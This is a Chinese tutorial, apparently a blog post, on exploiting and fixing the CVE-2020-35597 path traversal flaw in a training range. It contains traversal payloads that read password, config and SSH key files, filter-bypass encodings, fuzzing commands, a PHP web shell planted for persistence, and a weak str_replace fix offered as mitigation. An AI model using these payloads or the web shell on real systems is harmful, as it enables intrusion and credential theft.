1. 漏洞背景与影响范围
CVE-2020-35597是2020年披露的一个中危级漏洞,影响范围主要集中在使用特定版本Web框架的云服务环境。这个漏洞本质上是一个路径遍历缺陷,攻击者可以通过精心构造的HTTP请求访问服务器上的敏感文件。我在实际渗透测试中发现,该漏洞在春秋云境这类仿真靶场环境中出现频率较高,主要原因是许多训练平台会刻意保留存在已知漏洞的旧版本系统供学习使用。
从技术原理来看,漏洞源于对用户输入参数的过滤不严。当Web应用处理包含../序列的文件路径参数时,未进行规范化处理就直接传递给文件系统API。这导致攻击者可以突破Web根目录限制,读取/etc/passwd等系统文件。根据NVD的评分标准,该漏洞CVSS得分为6.5,属于中危级别。
注意:虽然漏洞评级中等,但在特定配置环境下可能造成严重后果。我曾遇到过一个案例,攻击者通过该漏洞获取了数据库连接配置文件,最终导致整个用户数据泄露。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞复现环境搭建
2.1 靶机环境配置
要复现这个漏洞,首先需要搭建一个存在漏洞的Web环境。推荐使用以下组合:
- Ubuntu 18.04 LTS
- Apache 2.4.29
- PHP 7.2.24
- 存在漏洞的Web应用版本
可以通过Docker快速搭建测试环境:
dockerfile复制FROM ubuntu:18.04
RUN apt-get update && apt-get install -y apache2 php7.2
COPY vulnerable-webapp /var/www/html/
EXPOSE 80
CMD ["apache2ctl", "-D", "FOREGROUND"]
2.2 漏洞触发条件验证
安装完成后,我们需要确认环境确实存在漏洞。检查Web应用的以下特征:
- 存在文件下载或查看功能
- URL中包含文件路径参数(如
file=example.txt) - 未对
../等特殊字符进行过滤
可以通过简单测试验证:
bash复制curl "http://target/path?file=../../../../etc/passwd"
如果返回了系统passwd文件内容,则确认漏洞存在。
3. 漏洞利用技术详解
3.1 基础利用方法
最直接的利用方式是路径遍历读取敏感文件:
code复制http://vulnerable.site/view.php?file=../../../etc/passwd
但实际渗透中需要更精细化的操作:
- 探测Web服务器配置:
code复制file=../../../../etc/apache2/apache2.conf
- 获取数据库凭证:
code复制file=../../../../var/www/html/config/database.php
- 查找SSH密钥:
code复制file=../../../../home/user/.ssh/id_rsa
3.2 绕过过滤的技巧
现代Web应用通常会实施一些过滤措施,以下是几种绕过方法:
- URL编码绕过:
code复制file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
- 双重编码绕过:
code复制file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
- 空字节截断(PHP特定):
code复制file=../../../etc/passwd%00.jpg
- 路径规范化滥用:
code复制file=///etc/passwd
4. 漏洞防御方案
4.1 临时缓解措施
如果无法立即升级,可以采用以下临时方案:
- 在Web服务器配置中添加过滤规则(Apache示例):
apache复制RewriteEngine On
RewriteCond %{QUERY_STRING} \.\.\/ [NC]
RewriteRule ^ - [F]
- PHP应用层过滤:
php复制$file = str_replace(['../', '..\\'], '', $_GET['file']);
4.2 根本解决方案
长期来看应该采取以下措施:
- 升级到已修复的安全版本
- 实施白名单机制:
php复制$allowed = ['public/', 'downloads/'];
$file = $_GET['file'];
if(!in_array(dirname($file), $allowed)) {
die('Invalid file path');
}
- 使用chroot jail限制Web根目录
5. 渗透测试实战记录
5.1 信息收集阶段
在春秋云境靶场中,我通常按照以下步骤进行侦察:
- 识别Web技术栈:
bash复制whatweb http://target
- 查找可能存在漏洞的端点:
bash复制gobuster dir -u http://target -w /path/to/wordlist.txt
- 检查所有接受文件路径参数的功能点
5.2 漏洞利用过程
发现疑似漏洞端点后的标准操作流程:
- 基础测试:
bash复制curl -s "http://target/download?file=../../../../etc/passwd" | grep root
- 如果返回403,尝试绕过技术:
bash复制for enc in url doubleurl utf16; do
ffuf -u "http://target/download?file=FUZZ" -w payloads/$enc.txt
done
- 成功利用后提取关键信息:
bash复制curl -s "http://target/download?file=../../config.php" | grep -E 'DB_USER|DB_PASS'
5.3 后渗透操作
获取初始访问权限后的常见操作:
- 建立持久化访问:
bash复制echo '<?php system($_GET["cmd"]);?>' > shell.php
- 横向移动:
bash复制find / -perm -4000 -type f 2>/dev/null
- 权限提升:
bash复制sudo -l
6. 防御加固检查清单
根据实战经验总结的防御要点:
-
输入验证:
- 实施白名单而非黑名单
- 规范化所有路径输入
- 禁止
../等特殊序列
-
服务器配置:
- 设置正确的chroot环境
- 配置严格的目录权限
- 关闭不必要的PHP危险函数
-
监控措施:
- 记录所有文件访问尝试
- 设置异常路径访问告警
- 定期审计文件操作日志
7. 靶场实战技巧
在春秋云境这类CTF环境中,有几个实用技巧:
- 使用自动化工具扫描:
bash复制python3 dirsearch.py -u http://target -e php -w /path/to/wordlist.txt
- 重点关注以下文件:
/proc/self/environ/var/log/apache2/access.log/tmp/sess_[id]
- 结合其他漏洞:
- 如果存在文件上传,可配合RCE
- 结合XXE漏洞进行更深层次的利用
8. 漏洞修复验证
修复后必须进行严格测试:
- 基础测试:
bash复制curl -v "http://patched/download?file=../../etc/passwd"
- 模糊测试:
bash复制wfuzz -c -z file,payloads.txt -u "http://patched/download?file=FUZZ"
- 静态分析:
bash复制grep -r "basename" /var/www/html/
grep -r "realpath" /var/www/html/
9. 相关CVE扩展
与CVE-2020-35597类似的漏洞还有:
- CVE-2021-41773 - Apache路径遍历
- CVE-2022-22965 - Spring框架RCE
- CVE-2019-5418 - Ruby on Rails文件泄露
这些漏洞的利用思路和防御方法都有相通之处,建议一并研究。
10. 学习资源推荐
想深入掌握这类漏洞,可以参考:
- 《Web Application Hackers Handbook》
- PortSwigger的路径遍历实验
- OWASP路径遍历防御指南
- 春秋云境提供的漏洞靶场环境
最后分享一个实用技巧:在测试文件包含漏洞时,可以尝试使用php://filter协议读取源码,这往往能发现更多安全问题。例如:
code复制file=php://filter/convert.base64-encode/resource=index.php
